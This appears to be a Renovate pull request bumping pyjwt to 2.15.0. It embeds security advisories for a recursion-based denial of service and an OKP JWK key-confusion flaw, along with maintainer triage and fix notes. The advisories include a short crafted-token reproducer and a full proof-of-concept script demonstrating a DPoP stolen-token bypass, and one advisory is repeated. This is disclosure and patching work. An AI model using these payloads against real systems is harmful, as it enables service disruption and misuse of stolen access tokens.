Skip to content

chore(deps): update dependency pyjwt to v2.15.0 [security] - #366

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-pyjwt-vulnerability
Open

renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-pyjwt-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Oct 3, 2026 •

Copy link
Copy Markdown

This PR contains the following updates:

Package Change Age Confidence
pyjwt ==2.14.0 → ==2.15.0 age confidence
pyjwt 2.14.0 → 2.15.0 age confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.


PyJWT: Unauthenticated RecursionError DoS in pre-verification payload parse (PyJWKClient.get_signing_key_from_jwt / verify_signature=False)

CVE-2026-101918 / GHSA-42vr-xj54-vc7v

More information

Details

Summary

PyJWKClient.get_signing_key_from_jwt(token) — the first step of the JWKS
verification flow documented in docs/usage.rst — must decode a token's
payload before its signature can be checked, via
jwt.api_jwt.decode_complete(token, options={"verify_signature": False}).
That call parses the payload with json.loads in PyJWT._decode_payload
(jwt/api_jwt.py:297-300), whose except clause catches only ValueError.
A payload that is valid JSON but nested ~20,000 levels deep makes
json.loads raise RecursionError, which is not a ValueError and
escapes as a raw, undocumented exception type — not DecodeError,
InvalidTokenError, or PyJWTError, so every documented error-handling
pattern in docs/usage.rst misses it.

The token needs no valid signature and no network access — the crash
happens during payload parsing, before the kid is even looked up. A
single unauthenticated ~50KB request crashes the caller's auth handler
(HTTP 500 / dead worker), repeatably. The same path is reachable through
plain jwt.decode(token, options={"verify_signature": False}) too.

Notably, this project already fixed the identical bug class for the
JWS header path — PyJWS._load catches (ValueError, RecursionError)
and wraps it in DecodeError (jwt/api_jws.py:360-361), and
CHANGELOG.rst (v2.14.0, "Security") states "Handle deeply nested and
malformed JWS/JWK input without uncaught recursion errors." The payload
path — the one part of a forged token an unauthenticated attacker fully
controls — was left catching ValueError alone, so that security fix does
not fully hold.

A second, related instance: PyJWKClient.fetch_data (jwt/jwks_client.py:168)
parses a JWKS endpoint's response with json.load(response) inside a
try that only catches (URLError, TimeoutError, http.client.HTTPException)
— a deeply-nested JSON response from a JWKS endpoint raises the same raw
RecursionError, uncaught entirely (worse than the payload path, which at
least caught plain ValueError).

Affected versions: confirmed present in the current release, 2.14.0,
and on the current master branch (commit 4adcd02722f5011c60079d3978dfc167b9a8eaa5).

Reproduction
import base64, json, jwt

def b64url(b):
    return base64.urlsafe_b64encode(b).rstrip(b"=")

header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
payload = b64url(b"[" * 20_000 + b"]" * 20_000)
token = (header + b"." + payload + b"." + b64url(b"forged-sig")).decode()

jwt.decode(token, options={"verify_signature": False})

##### raises: RecursionError (not DecodeError/InvalidTokenError/PyJWTError)

Control: the same deeply-nested structure moved into the token's header
instead of its payload is correctly converted to jwt.DecodeError by the
already-hardened jwt/api_jws.py:360 — confirming the payload path is
specifically the missed half of the v2.14.0 hardening, not a general gap.

Impact assessment

Unauthenticated denial-of-service via unhandled exception on an auth path.
Not an auth bypass — rated medium. With signature verification enabled,
this parse runs after _verify_signature, so only the pre-verification
paths (get_signing_key_from_jwt, explicit verify_signature=False) are
attacker-reachable pre-auth; the JWKS-endpoint variant requires control of
(or a MITM on) the configured JWKS endpoint rather than being reachable
from an arbitrary client token.

Suggested fix

In jwt/api_jwt.py:299, change except ValueError as e: to
except (ValueError, RecursionError) as e:, mirroring
jwt/api_jws.py:360 exactly. In jwt/jwks_client.py, add the same
(ValueError, RecursionError) handling around json.load(response) in
fetch_data, raising PyJWKClientError (consistent with the method's
existing documented error contract). A patch implementing both, verified
against the full test suite (457 passed, 4 skipped — pre-existing,
environment-related) and against the reproduction above (now correctly
raises DecodeError), is attached (fix.patch).

Discovery method

Found and verified using scopegrep (https://github.com/not-ekalabya/scopegrep)
— a semantic code-retrieval tool that surfaces every other call site of a
symbol alongside relevance-ranked results, which is what surfaced the
already-hardened header path as the direct comparison here — paired with
an LLM coding agent (GLM-5.3) run as an open-ended security review of this
repository. Independently reproduced against the exact commit above before
this report was written. Happy to share the full session transcript on
request.

Disclosure status

Not shared with any other party or published. Submitting through this
private channel per the project's stated security policy; no planned
public/conference disclosure ahead of a coordinated timeline.


Maintainer triage update (2026-09-22)
Confirmed finding and scope

We confirmed that an attacker-controlled recursively nested JWT payload can cause a raw Python RecursionError to escape PyJWT at PyJWT 2.14.0 and the tested current source. The confirmed in-scope paths are direct decoding with verify_signature=False and PyJWKClient.get_signing_key_from_jwt, where payload parsing occurs before key lookup.

The demonstrated impact is limited to an uncaught exception for the affected call, which may surface as an application HTTP 500 when the application does not catch it. Testing did not demonstrate a worker or process crash, persistent resource exhaustion, resource amplification, authentication bypass, or confidentiality or integrity impact.

The separate JWKS-response subclaim is out of scope under the policy boundary that requires the application to trust its configured JWKS source and transport. The confirmed payload finding is not a duplicate of the earlier protected-header parser finding: it occurs in a distinct payload parsing path that remained affected after the earlier header-only fix.

Version and remediation status

Historical testing reproduced the confirmed payload behavior in all 20 official supported PyJWT 2.x releases from 2.0.0a1 through 2.14.0, inclusive. Unsupported PyJWT 1.7.1 also reproduces the behavior, but it is excluded from the advisory range under the supported-2.x policy. No supported unaffected release and no patched release exists. The exact evidence is /Users/jpadilla/.codex/security-advisories/pyjwt/GHSA-42vr-xj54-vc7v-historical-range-20260922.md (SHA-256 c48f1ac35641e9382d53e6a879a71ad9a8fb4432bbe871f2b8330f8d166a2d81) and /Users/jpadilla/.codex/security-advisories/pyjwt/historical-range-42vr-20260922/historical-range-results.json (SHA-256 324997f231561bf6da39b8f9d1e272f69bfde8871a7863f5cb7b70e22e91f076). The evidence-backed supported affected range is >= 2.0.0a1, <= 2.14.0.

Historical range verification is complete. A local fix commit exists and has passed independent review and the complete local CI suite, but it has not been merged into master or released. Consequently, patched_versions remains empty and this advisory remains in triage. The remaining next step is a maintainer decision on remediation and merge. After a fix lands in master and is released, patched_versions and advisory lifecycle can be updated in a separate approved batch.


Maintainer remediation update (2026-09-23)

The confirmed payload-parser finding has been fixed on master. Commit
5fde08a6cf906aa7698de2d6391d88b73006b17b converts a recursive
payload parse failure to the expected DecodeError; commit
9bc06658f875b9b40091539140bbbdc4639161c3 makes the regression tests
deterministic across supported Python versions. This update supersedes the
2026-09-22 remediation-status statement that the fix had not landed.

The original pre-verification payload reproducer and the
PyJWKClient.get_signing_key_from_jwt path were covered by regression tests.
The exact landed tree passed the full 39-environment local tox matrix and
GitHub CI for commit 9bc06658f875b9b40091539140bbbdc4639161c3 passed
all 25 jobs, including Ubuntu Python 3.14 and 3.15. The demonstrated impact
remains an uncaught request-level exception in affected releases; there is
still no evidence of process termination, persistent resource exhaustion,
authentication bypass, or confidentiality or integrity impact.

The supported affected range remains >= 2.0.0a1, <= 2.14.0. The latest
released version is 2.14.0, which predates these commits; no released
patched version exists yet, so patched_versions remains unset. CVSS v3.1
5.3 (Medium) and CWE-248 remain unchanged. The advisory may now move from
triage to private draft. The next lifecycle step is a new supported 2.x
release containing the fix, followed by separately approved patched-version
and publication updates after release verification.


Maintainer release update (2026-09-23)

PyJWT 2.15.0 is the first released version containing the payload-parser fix. Its GitHub release tag points to commit 1d41a6478e1562e68ff667fcd703356acf085f68, which includes fix commit 5fde08a6cf906aa7698de2d6391d88b73006b17b and deterministic regression-test commit 9bc06658f875b9b40091539140bbbdc4639161c3. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.

The published PyPI wheel (pyjwt-2.15.0-py3-none-any.whl, SHA-256 7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8) was checked directly: the deeply nested unsigned payload now raises DecodeError, while an ordinary unsigned payload still decodes. The supported affected range remains >= 2.0.0a1, <= 2.14.0; the patched version is 2.15.0. Earlier statements in this advisory that no released patched version exists are superseded by this update.

The confirmed impact remains an uncaught request-level exception in affected versions, not a demonstrated process crash or authentication bypass. The separate JWKS-response subclaim remains outside this advisory's confirmed PyJWT-owned scope.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT: Unauthenticated RecursionError DoS in pre-verification payload parse (PyJWKClient.get_signing_key_from_jwt / verify_signature=False)

CVE-2026-101918 / GHSA-42vr-xj54-vc7v / PYSEC-2026-4141

More information

Details

Summary

PyJWKClient.get_signing_key_from_jwt(token) — the first step of the JWKS
verification flow documented in docs/usage.rst — must decode a token's
payload before its signature can be checked, via
jwt.api_jwt.decode_complete(token, options={"verify_signature": False}).
That call parses the payload with json.loads in PyJWT._decode_payload
(jwt/api_jwt.py:297-300), whose except clause catches only ValueError.
A payload that is valid JSON but nested ~20,000 levels deep makes
json.loads raise RecursionError, which is not a ValueError and
escapes as a raw, undocumented exception type — not DecodeError,
InvalidTokenError, or PyJWTError, so every documented error-handling
pattern in docs/usage.rst misses it.

The token needs no valid signature and no network access — the crash
happens during payload parsing, before the kid is even looked up. A
single unauthenticated ~50KB request crashes the caller's auth handler
(HTTP 500 / dead worker), repeatably. The same path is reachable through
plain jwt.decode(token, options={"verify_signature": False}) too.

Notably, this project already fixed the identical bug class for the
JWS header path — PyJWS._load catches (ValueError, RecursionError)
and wraps it in DecodeError (jwt/api_jws.py:360-361), and
CHANGELOG.rst (v2.14.0, "Security") states "Handle deeply nested and
malformed JWS/JWK input without uncaught recursion errors." The payload
path — the one part of a forged token an unauthenticated attacker fully
controls — was left catching ValueError alone, so that security fix does
not fully hold.

A second, related instance: PyJWKClient.fetch_data (jwt/jwks_client.py:168)
parses a JWKS endpoint's response with json.load(response) inside a
try that only catches (URLError, TimeoutError, http.client.HTTPException)
— a deeply-nested JSON response from a JWKS endpoint raises the same raw
RecursionError, uncaught entirely (worse than the payload path, which at
least caught plain ValueError).

Affected versions: confirmed present in the current release, 2.14.0,
and on the current master branch (commit 4adcd02722f5011c60079d3978dfc167b9a8eaa5).

Reproduction
import base64, json, jwt

def b64url(b):
    return base64.urlsafe_b64encode(b).rstrip(b"=")

header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
payload = b64url(b"[" * 20_000 + b"]" * 20_000)
token = (header + b"." + payload + b"." + b64url(b"forged-sig")).decode()

jwt.decode(token, options={"verify_signature": False})

##### raises: RecursionError (not DecodeError/InvalidTokenError/PyJWTError)

Control: the same deeply-nested structure moved into the token's header
instead of its payload is correctly converted to jwt.DecodeError by the
already-hardened jwt/api_jws.py:360 — confirming the payload path is
specifically the missed half of the v2.14.0 hardening, not a general gap.

Impact assessment

Unauthenticated denial-of-service via unhandled exception on an auth path.
Not an auth bypass — rated medium. With signature verification enabled,
this parse runs after _verify_signature, so only the pre-verification
paths (get_signing_key_from_jwt, explicit verify_signature=False) are
attacker-reachable pre-auth; the JWKS-endpoint variant requires control of
(or a MITM on) the configured JWKS endpoint rather than being reachable
from an arbitrary client token.

Suggested fix

In jwt/api_jwt.py:299, change except ValueError as e: to
except (ValueError, RecursionError) as e:, mirroring
jwt/api_jws.py:360 exactly. In jwt/jwks_client.py, add the same
(ValueError, RecursionError) handling around json.load(response) in
fetch_data, raising PyJWKClientError (consistent with the method's
existing documented error contract). A patch implementing both, verified
against the full test suite (457 passed, 4 skipped — pre-existing,
environment-related) and against the reproduction above (now correctly
raises DecodeError), is attached (fix.patch).

Discovery method

Found and verified using scopegrep (https://github.com/not-ekalabya/scopegrep)
— a semantic code-retrieval tool that surfaces every other call site of a
symbol alongside relevance-ranked results, which is what surfaced the
already-hardened header path as the direct comparison here — paired with
an LLM coding agent (GLM-5.3) run as an open-ended security review of this
repository. Independently reproduced against the exact commit above before
this report was written. Happy to share the full session transcript on
request.

Disclosure status

Not shared with any other party or published. Submitting through this
private channel per the project's stated security policy; no planned
public/conference disclosure ahead of a coordinated timeline.


Maintainer triage update (2026-09-22)
Confirmed finding and scope

We confirmed that an attacker-controlled recursively nested JWT payload can cause a raw Python RecursionError to escape PyJWT at PyJWT 2.14.0 and the tested current source. The confirmed in-scope paths are direct decoding with verify_signature=False and PyJWKClient.get_signing_key_from_jwt, where payload parsing occurs before key lookup.

The demonstrated impact is limited to an uncaught exception for the affected call, which may surface as an application HTTP 500 when the application does not catch it. Testing did not demonstrate a worker or process crash, persistent resource exhaustion, resource amplification, authentication bypass, or confidentiality or integrity impact.

The separate JWKS-response subclaim is out of scope under the policy boundary that requires the application to trust its configured JWKS source and transport. The confirmed payload finding is not a duplicate of the earlier protected-header parser finding: it occurs in a distinct payload parsing path that remained affected after the earlier header-only fix.

Version and remediation status

Historical testing reproduced the confirmed payload behavior in all 20 official supported PyJWT 2.x releases from 2.0.0a1 through 2.14.0, inclusive. Unsupported PyJWT 1.7.1 also reproduces the behavior, but it is excluded from the advisory range under the supported-2.x policy. No supported unaffected release and no patched release exists. The exact evidence is /Users/jpadilla/.codex/security-advisories/pyjwt/GHSA-42vr-xj54-vc7v-historical-range-20260922.md (SHA-256 c48f1ac35641e9382d53e6a879a71ad9a8fb4432bbe871f2b8330f8d166a2d81) and /Users/jpadilla/.codex/security-advisories/pyjwt/historical-range-42vr-20260922/historical-range-results.json (SHA-256 324997f231561bf6da39b8f9d1e272f69bfde8871a7863f5cb7b70e22e91f076). The evidence-backed supported affected range is >= 2.0.0a1, <= 2.14.0.

Historical range verification is complete. A local fix commit exists and has passed independent review and the complete local CI suite, but it has not been merged into master or released. Consequently, patched_versions remains empty and this advisory remains in triage. The remaining next step is a maintainer decision on remediation and merge. After a fix lands in master and is released, patched_versions and advisory lifecycle can be updated in a separate approved batch.


Maintainer remediation update (2026-09-23)

The confirmed payload-parser finding has been fixed on master. Commit
5fde08a6cf906aa7698de2d6391d88b73006b17b converts a recursive
payload parse failure to the expected DecodeError; commit
9bc06658f875b9b40091539140bbbdc4639161c3 makes the regression tests
deterministic across supported Python versions. This update supersedes the
2026-09-22 remediation-status statement that the fix had not landed.

The original pre-verification payload reproducer and the
PyJWKClient.get_signing_key_from_jwt path were covered by regression tests.
The exact landed tree passed the full 39-environment local tox matrix and
GitHub CI for commit 9bc06658f875b9b40091539140bbbdc4639161c3 passed
all 25 jobs, including Ubuntu Python 3.14 and 3.15. The demonstrated impact
remains an uncaught request-level exception in affected releases; there is
still no evidence of process termination, persistent resource exhaustion,
authentication bypass, or confidentiality or integrity impact.

The supported affected range remains >= 2.0.0a1, <= 2.14.0. The latest
released version is 2.14.0, which predates these commits; no released
patched version exists yet, so patched_versions remains unset. CVSS v3.1
5.3 (Medium) and CWE-248 remain unchanged. The advisory may now move from
triage to private draft. The next lifecycle step is a new supported 2.x
release containing the fix, followed by separately approved patched-version
and publication updates after release verification.


Maintainer release update (2026-09-23)

PyJWT 2.15.0 is the first released version containing the payload-parser fix. Its GitHub release tag points to commit 1d41a6478e1562e68ff667fcd703356acf085f68, which includes fix commit 5fde08a6cf906aa7698de2d6391d88b73006b17b and deterministic regression-test commit 9bc06658f875b9b40091539140bbbdc4639161c3. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.

The published PyPI wheel (pyjwt-2.15.0-py3-none-any.whl, SHA-256 7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8) was checked directly: the deeply nested unsigned payload now raises DecodeError, while an ordinary unsigned payload still decodes. The supported affected range remains >= 2.0.0a1, <= 2.14.0; the patched version is 2.15.0. Earlier statements in this advisory that no released patched version exists are superseded by this update.

The confirmed impact remains an uncaught request-level exception in affected versions, not a demonstrated process crash or authentication bypass. The separate JWKS-response subclaim remains outside this advisory's confirmed PyJWT-owned scope.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


PyJWT accepts inconsistent OKP x/d JWKs, causing public/private key identity confusion

CVE-2026-102275 / GHSA-x33g-cr3x-6449 / PYSEC-2026-4183

More information

Details

Summary

PyJWT accepts internally inconsistent OKP private JWKs where the declared public key x does not correspond to the supplied private key d.

When d is present, OKPAlgorithm.from_jwk() constructs the Ed25519/Ed448 private key from d without verifying that the public key derived from d matches x. As a result, the original JWK can contain one public key identity while PyJWT performs cryptographic operations using a different key.

In affected DPoP integrations, this can allow a stolen sender-constrained access token to be used without possession of the legitimate holder's private key.

Details

The vulnerable logic is in jwt/algorithms.py:

if "x" not in obj:
    raise InvalidKeyError('OKP should have "x" parameter')

x = base64url_decode(obj.get("x"))

if "d" not in obj:
    if curve == "Ed25519":
        return Ed25519PublicKey.from_public_bytes(x)
    return Ed448PublicKey.from_public_bytes(x)

d = base64url_decode(obj.get("d"))

if curve == "Ed25519":
    return Ed25519PrivateKey.from_private_bytes(d)

return Ed448PrivateKey.from_private_bytes(d)

When d is present, x is parsed but never compared with the public key derived from d.

For example, PyJWT accepts:

{
  "kty": "OKP",
  "crv": "Ed25519",
  "x": "<legitimate-user-public-key>",
  "d": "<attacker-private-key>"
}

even though x and d belong to different key pairs.

The behavior has existed since OKP private-JWK import was introduced:

  • Ed25519: PyJWT 2.1.0+
  • Ed448: PyJWT 2.2.0+
  • Confirmed through PyJWT 2.14.0 and current master

A correct import should derive the public key from d and reject the JWK when it does not equal the supplied x.

PoC

The reproducer creates two Ed25519 keypairs:

  • a legitimate holder keypair
  • an attacker keypair

It then:

  1. Creates an access token whose cnf.jkt is bound to the legitimate public key.
  2. Creates a DPoP proof JWK containing the legitimate user's x together with the attacker's d.
  3. Computes the RFC 7638 thumbprint from x, which still matches the access-token binding.
  4. Passes the complete JWK to PyJWK.from_dict().
  5. PyJWT imports the private key from the attacker-controlled d.
  6. A DPoP proof signed with the attacker's private key verifies successfully.

Observed result:

thumbprint_matches: true
actual_key_is_attacker_key: true
actual_key_matches_declared_x: false
stolen_sender_constrained_token_accepted: true
attacker_has_legitimate_private_key: false

Tested on PyJWT 2.13.0, PyJWT 2.14.0, and current master.

The complete reproducer is:

#!/usr/bin/env python3

from __future__ import annotations

import base64
import hashlib
import json
import os
import platform
import time
from importlib.metadata import version
from typing import Any

import jwt
from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey
from cryptography.hazmat.primitives.serialization import (
    Encoding,
    NoEncryption,
    PrivateFormat,
    PublicFormat,
)

ACCESS_TOKEN_SECRET = b"synthetic-authorization-server-key-32b"
HTTP_METHOD = "GET"
HTTP_URI = "https://resource.example/protected"

def b64url(raw: bytes) -> str:
    return base64.urlsafe_b64encode(raw).rstrip(b"=").decode("ascii")

def public_x(private_key: Ed25519PrivateKey) -> str:
    return b64url(private_key.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw))

def private_d(private_key: Ed25519PrivateKey) -> str:
    return b64url(
        private_key.private_bytes(Encoding.Raw, PrivateFormat.Raw, NoEncryption())
    )

def jwk_thumbprint(jwk: dict[str, Any]) -> str:
    canonical = json.dumps(
        {"crv": jwk["crv"], "kty": jwk["kty"], "x": jwk["x"]},
        separators=(",", ":"),
        sort_keys=True,
    ).encode("ascii")
    return b64url(hashlib.sha256(canonical).digest())

def access_token_hash(access_token: str) -> str:
    return b64url(hashlib.sha256(access_token.encode("ascii")).digest())

def verify_resource_request(
    access_token: str,
    proof: str,
    *,
    reject_private_header_jwk: bool = False,
) -> dict[str, Any]:
    """Model the security-relevant stages of an RFC 9449 resource server."""
    access_claims = jwt.decode(
        access_token,
        ACCESS_TOKEN_SECRET,
        algorithms=["HS256"],
        issuer="https://authorization.example",
        audience="resource-api",
        options={"require": ["exp", "iss", "aud", "sub", "cnf"]},
    )
    header = jwt.get_unverified_header(proof)
    if header.get("typ") != "dpop+jwt" or header.get("alg") != "EdDSA":
        raise ValueError("invalid DPoP header policy")
    jwk = header.get("jwk")
    if not isinstance(jwk, dict):
        raise ValueError("missing DPoP JWK")
    if reject_private_header_jwk and any(
        member in jwk for member in ("d", "p", "q", "dp", "dq", "qi", "k")
    ):
        raise ValueError("DPoP header JWK contains private material")
    if jwk_thumbprint(jwk) != access_claims["cnf"]["jkt"]:
        raise ValueError("DPoP key does not match cnf.jkt")

    key = jwt.PyJWK.from_dict(jwk)
    proof_claims = jwt.decode(
        proof,
        key,
        algorithms=["EdDSA"],
        options={"require": ["htm", "htu", "iat", "jti", "ath"]},
    )
    if proof_claims["htm"] != HTTP_METHOD or proof_claims["htu"] != HTTP_URI:
        raise ValueError("DPoP request binding mismatch")
    if proof_claims["ath"] != access_token_hash(access_token):
        raise ValueError("DPoP access-token hash mismatch")
    return access_claims

def main() -> None:
    legitimate_holder = Ed25519PrivateKey.generate()
    attacker = Ed25519PrivateKey.generate()
    legitimate_x = public_x(legitimate_holder)
    attacker_x = public_x(attacker)

    legitimate_public_jwk = {
        "alg": "EdDSA",
        "crv": "Ed25519",
        "kty": "OKP",
        "x": legitimate_x,
    }
    mismatched_proof_jwk = {
        **legitimate_public_jwk,
        "d": private_d(attacker),
    }
    pinned_jkt = jwk_thumbprint(legitimate_public_jwk)

    now = int(time.time())
    access_token = jwt.encode(
        {
            "aud": "resource-api",
            "cnf": {"jkt": pinned_jkt},
            "exp": now + 300,
            "iat": now,
            "iss": "https://authorization.example",
            "scope": "admin:read",
            "sub": "legitimate-holder",
        },
        ACCESS_TOKEN_SECRET,
        algorithm="HS256",
    )
    proof_claims = {
        "ath": access_token_hash(access_token),
        "htm": HTTP_METHOD,
        "htu": HTTP_URI,
        "iat": now,
        "jti": "synthetic-attacker-proof",
    }
    attacker_proof = jwt.encode(
        proof_claims,
        attacker,
        algorithm="EdDSA",
        headers={"jwk": mismatched_proof_jwk, "typ": "dpop+jwt"},
    )

    imported = jwt.PyJWK.from_dict(mismatched_proof_jwk).key
    imported_x = b64url(
        imported.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw)
    )
    accepted_claims = verify_resource_request(access_token, attacker_proof)

    public_only_rejected = False
    public_only_error = None
    public_only_proof = jwt.encode(
        proof_claims,
        attacker,
        algorithm="EdDSA",
        headers={"jwk": legitimate_public_jwk, "typ": "dpop+jwt"},
    )
    try:
        verify_resource_request(access_token, public_only_proof)
    except Exception as error:
        public_only_rejected = True
        public_only_error = type(error).__name__

    private_member_control_rejected = False
    private_member_control_error = None
    try:
        verify_resource_request(
            access_token,
            attacker_proof,
            reject_private_header_jwk=True,
        )
    except Exception as error:
        private_member_control_rejected = True
        private_member_control_error = type(error).__name__

    result = {
        "environment": {
            "PyJWT": jwt.__version__,
            "PyJWT_source": str(jwt.__file__),
            "Python": platform.python_version(),
            "cryptography": version("cryptography"),
            "source_ref": os.environ.get("PYJWT_SOURCE_REF", "installed-release"),
        },
        "dpop_binding": {
            "access_token_subject": accepted_claims["sub"],
            "access_token_scope": accepted_claims["scope"],
            "pinned_jkt": pinned_jkt,
            "proof_jkt": jwk_thumbprint(mismatched_proof_jwk),
            "thumbprint_matches": jwk_thumbprint(mismatched_proof_jwk) == pinned_jkt,
        },
        "imported_key": {
            "declared_x": legitimate_x,
            "attacker_x": attacker_x,
            "actual_imported_x": imported_x,
            "actual_key_is_attacker_key": imported_x == attacker_x,
            "actual_key_matches_declared_x": imported_x == legitimate_x,
        },
        "vulnerable_composition": {
            "stolen_sender_constrained_token_accepted": accepted_claims["sub"]
            == "legitimate-holder",
            "attacker_has_legitimate_private_key": False,
        },
        "controls": {
            "public_only_jwk_rejected": public_only_rejected,
            "public_only_error": public_only_error,
            "reject_private_header_jwk_blocks_attack": private_member_control_rejected,
            "private_member_control_error": private_member_control_error,
        },
    }

    assert jwk_thumbprint(mismatched_proof_jwk) == pinned_jkt
    assert imported_x == attacker_x
    assert imported_x != legitimate_x
    assert accepted_claims["sub"] == "legitimate-holder"
    assert public_only_rejected and public_only_error == "InvalidSignatureError"
    assert private_member_control_rejected and private_member_control_error == "ValueError"
    print(json.dumps(result, indent=2, sort_keys=True))

if __name__ == "__main__":
    main()
06-practical-testing/pyjwt-okp-dpop-binding-bypass-lab.py

A public example of the affected composition exists in StrongDM's agentic-auth Flask middleware: it computes an OKP thumbprint from x and subsequently passes the entire JWK to PyJWK.from_dict() for EdDSA DPoP verification without rejecting d.

Impact

The PyJWT-owned issue is acceptance of internally inconsistent cryptographic key material: the JWK can declare one public key while the operative private key corresponds to another.

In a DPoP verifier that:

  • calculates cnf.jkt / JWK thumbprints from the declared x,
  • passes the same JWK to PyJWT for signature verification, and
  • does not reject private JWK parameters,

an attacker who steals a sender-constrained access token can use the token without possessing the legitimate holder's private key.

RFC 9449 §4.2 requires DPoP implementations to reject private key parameters in proof JWKs. Therefore the demonstrated authentication bypass additionally requires a DPoP implementation that omits this check. RFC-compliant DPoP implementations that reject d are not vulnerable to the demonstrated attack.

Maintainer assessment (2026-09-12)

We independently reproduced the PyJWT-owned issue: importing a private OKP JWK with non-corresponding x and d components returned the private key derived from d while accepting the conflicting declared public identity. The precise library impact is loss of JWK key-component consistency; a caller that uses x as the JWK identity and the returned key for cryptographic operations can act on two different key identities.

Exact boundary checks found Ed25519 JWK import absent in 2.0.1 and the inconsistent-pair behavior present in 2.1.0. Ed448 JWK import was absent in 2.1.0 and the behavior was present in 2.2.0. Both curves reproduced in 2.14.0 and the tested pre-fix source. These samples support the existing affected metadata (>= 2.1.0, <= 2.14.0) and the per-curve introduction points, but do not claim exhaustive testing of every intervening release.

The fix is on master in commit 3cd9ceec33ced359decbad75b413ad668ae6332c. It derives the public bytes from d, compares them with x, and rejects a mismatch. Fresh independent Astra/max review accepted the exact tree 9f219601e39026c7094d48f3fbb6678951878aa8 with no blocking findings or required revisions. Targeted red/green and sibling-path checks passed, and the exact repository CI command python -m tox passed all 35 required environments both before and after the commit.

The reported DPoP stolen-token scenario additionally requires an application to pass a private JWK from the proof header without rejecting private-key parameters. RFC 9449 sections 4.2 and 4.3 require such parameters to be absent or rejected, so that bypass is application-dependent and outside PyJWT's security-policy scope; it is not used to characterize the PyJWT-owned impact.

The fix is not yet contained in a released PyJWT 2.x version, so patched_versions remains empty and this advisory remains unpublished. The next lifecycle step is to move the advisory from triage to draft now that the verified fix is on master; publication must wait until a new released 2.x version is confirmed to contain the fix and is recorded as the patched boundary.

Maintainer release update (2026-09-23)

PyJWT 2.15.0 is the first released version containing the OKP JWK consistency fix. Its GitHub release tag points to commit 1d41a6478e1562e68ff667fcd703356acf085f68, which includes fix commit 3cd9ceec33ced359decbad75b413ad668ae6332c. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.

The published PyPI wheel (pyjwt-2.15.0-py3-none-any.whl, SHA-256 7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8) was checked directly: matching Ed25519 and Ed448 x/d private JWK components import successfully, while mismatched components raise InvalidKeyError. The supported affected range remains >= 2.1.0, <= 2.14.0; the patched version is 2.15.0. The earlier statement that no released patched version exists is superseded by this update.

The PyJWT-owned impact is acceptance of internally inconsistent OKP key material in affected versions. The reported DPoP stolen-token scenario additionally requires an application to accept private key parameters from a proof header, contrary to RFC 9449; it is not the basis for this advisory's classification. CVSS v3.1 6.5 (Medium), CWE-345, and CWE-348 are unchanged.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


PyJWT: Unauthenticated RecursionError DoS in pre-verification payload parse (PyJWKClient.get_signing_key_from_jwt / verify_signature=False)

CVE-2026-101918 / GHSA-42vr-xj54-vc7v / PYSEC-2026-4141

More information

Details

Summary

PyJWKClient.get_signing_key_from_jwt(token) — the first step of the JWKS
verification flow documented in docs/usage.rst — must decode a token's
payload before its signature can be checked, via
jwt.api_jwt.decode_complete(token, options={"verify_signature": False}).
That call parses the payload with json.loads in PyJWT._decode_payload
(jwt/api_jwt.py:297-300), whose except clause catches only ValueError.
A payload that is valid JSON but nested ~20,000 levels deep makes
json.loads raise RecursionError, which is not a ValueError and
escapes as a raw, undocumented exception type — not DecodeError,
InvalidTokenError, or PyJWTError, so every documented error-handling
pattern in docs/usage.rst misses it.

The token needs no valid signature and no network access — the crash
happens during payload parsing, before the kid is even looked up. A
single unauthenticated ~50KB request crashes the caller's auth handler
(HTTP 500 / dead worker), repeatably. The same path is reachable through
plain jwt.decode(token, options={"verify_signature": False}) too.

Notably, this project already fixed the identical bug class for the
JWS header path — PyJWS._load catches (ValueError, RecursionError)
and wraps it in DecodeError (jwt/api_jws.py:360-361), and
CHANGELOG.rst (v2.14.0, "Security") states "Handle deeply nested and
malformed JWS/JWK input without uncaught recursion errors." The payload
path — the one part of a forged token an unauthenticated attacker fully
controls — was left catching ValueError alone, so that security fix does
not fully hold.

A second, related instance: PyJWKClient.fetch_data (jwt/jwks_client.py:168)
parses a JWKS endpoint's response with json.load(response) inside a
try that only catches (URLError, TimeoutError, http.client.HTTPException)
— a deeply-nested JSON response from a JWKS endpoint raises the same raw
RecursionError, uncaught entirely (worse than the payload path, which at
least caught plain ValueError).

Affected versions: confirmed present in the current release, 2.14.0,
and on the current master branch (commit 4adcd02722f5011c60079d3978dfc167b9a8eaa5).

Reproduction
import base64, json, jwt

def b64url(b):
    return base64.urlsafe_b64encode(b).rstrip(b"=")

header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
payload = b64url(b"[" * 20_000 + b"]" * 20_000)
token = (header + b"." + payload + b"." + b64url(b"forged-sig")).decode()

jwt.decode(token, options={"verify_signature": False})

##### raises: RecursionError (not DecodeError/InvalidTokenError/PyJWTError)

Control: the same deeply-nested structure moved into the token's header
